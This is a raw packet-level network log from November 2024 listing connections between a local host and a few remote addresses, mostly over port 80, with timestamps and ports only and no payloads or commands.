Nov 27, 2024 17:58:54.172224998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.172266006 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.172322989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.173072100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.173134089 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.173194885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.173227072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.173912048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.173970938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.174020052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.174053907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.174854040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.174917936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.174937963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.174968004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.175743103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.175807953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.175826073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.176023006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.176675081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.176706076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.177660942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.177711010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.177845001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.178808928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.178829908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.178857088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.178875923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.179816008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.179848909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.180083990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.180515051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.180556059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.180604935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.181334019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.181349993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.181390047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.182321072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.182504892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.182641983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.183084011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.183151007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.183234930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.183238983 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.183267117 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.183331966 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.183331966 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.183350086 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.183388948 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.183990955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.184079885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.184878111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.184935093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.184995890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.185739040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.185787916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.185832977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.186713934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.186780930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.186800957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.187691927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.187693119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.187732935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.187752008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.188654900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.188755989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.188803911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.189429998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.189637899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.189692020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.190320969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.190453053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.190499067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.191250086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.191359997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.191369057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.191411018 CET	49869	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:54.191417933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.192167044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.192289114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.193078995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.193130970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.193202972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.194011927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.194094896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.194111109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.194911003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.194988966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.195008039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.195081949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.195909023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.195955992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.270334959 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.270359039 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.270420074 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.270448923 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.270463943 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.270513058 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.283610106 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.283639908 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.283694029 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.283710957 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.283736944 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.283750057 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.294919968 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.294969082 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.295013905 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.295041084 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.295057058 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.295523882 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.307624102 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.307650089 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.307689905 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.307707071 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.307743073 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.307756901 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.316178083 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.316227913 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.316252947 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.316262007 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.316292048 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.316328049 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.316382885 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.316806078 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.316823959 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.357297897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.357362032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.357392073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.357425928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.357670069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.357690096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.357717991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.357738018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.358601093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.358710051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.358763933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.359584093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.359633923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.359662056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.359885931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.360430956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.360558033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.360610008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.361318111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.361362934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.361707926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.361752033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.362277031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.362364054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.362692118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.362894058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.363351107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.363396883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.363415956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.363626003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.364135981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.364224911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.364303112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.364336014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.365108013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.365169048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.365626097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.365864992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.366050959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.366085052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.366282940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.366489887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.366831064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.366868973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.366888046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.367757082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.367873907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.367886066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.367934942 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.368654013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.368727922 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.368761063 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.368789911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.369575024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.369688034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.369744062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.370433092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.370488882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.370610952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.370650053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.371330023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.371381998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.371524096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.371578932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.372293949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.372451067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.372493029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.373198986 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.373307943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.373348951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.374094963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.374140978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.374183893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.374989033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.375042915 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.375066996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.375085115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.375926971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.375991106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.376048088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.376808882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.376867056 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.376919031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.376952887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.377703905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.377765894 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.377827883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.378683090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.378806114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.378850937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.379547119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.379597902 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.379640102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.379673958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.380467892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.380511045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.380569935 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.380661011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.381359100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.381426096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.381443024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.381460905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.382282019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.382507086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.382563114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.383199930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.383243084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.383326054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.383430958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.384099007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.384145021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.384211063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.384246111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.385101080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.385277033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.385305882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.385510921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.385977983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.386028051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.386101961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.386156082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.386885881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.386928082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.386965036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.387141943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.387753963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.387789965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.387897968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.387940884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.388648033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.388689995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.388761044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.388791084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.389622927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.389668941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.389708996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.389739990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.390466928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.390508890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.390607119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.390748024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.391405106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.391448975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.391495943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.391563892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.392414093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.392460108 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.392509937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.392540932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.393388033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.393424034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.393436909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.393457890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.394222021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.394264936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.394356966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.394484043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.395186901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.395322084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.395366907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.395976067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.396018982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.396148920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.396184921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.396871090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.396913052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.396966934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.397001028 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.397782087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.397814989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.397825003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.397846937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.398818970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.398863077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.398885012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.399039984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.399766922 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.399810076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.399848938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.399895906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.400542021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.400585890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.400736094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.400790930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.401520967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.401586056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.401701927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.401701927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.402554035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.402610064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.402611971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.402839899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.403249025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.403328896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.403352022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.403523922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.404180050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.404222965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.404318094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.404352903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.405028105 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.405164003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.453006029 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.453044891 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.453116894 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.453633070 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.453644037 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.567584991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.567635059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.567732096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.567807913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.568079948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.568145037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.568180084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.568216085 CET	49850	80	192.168.2.7	185.215.113.206
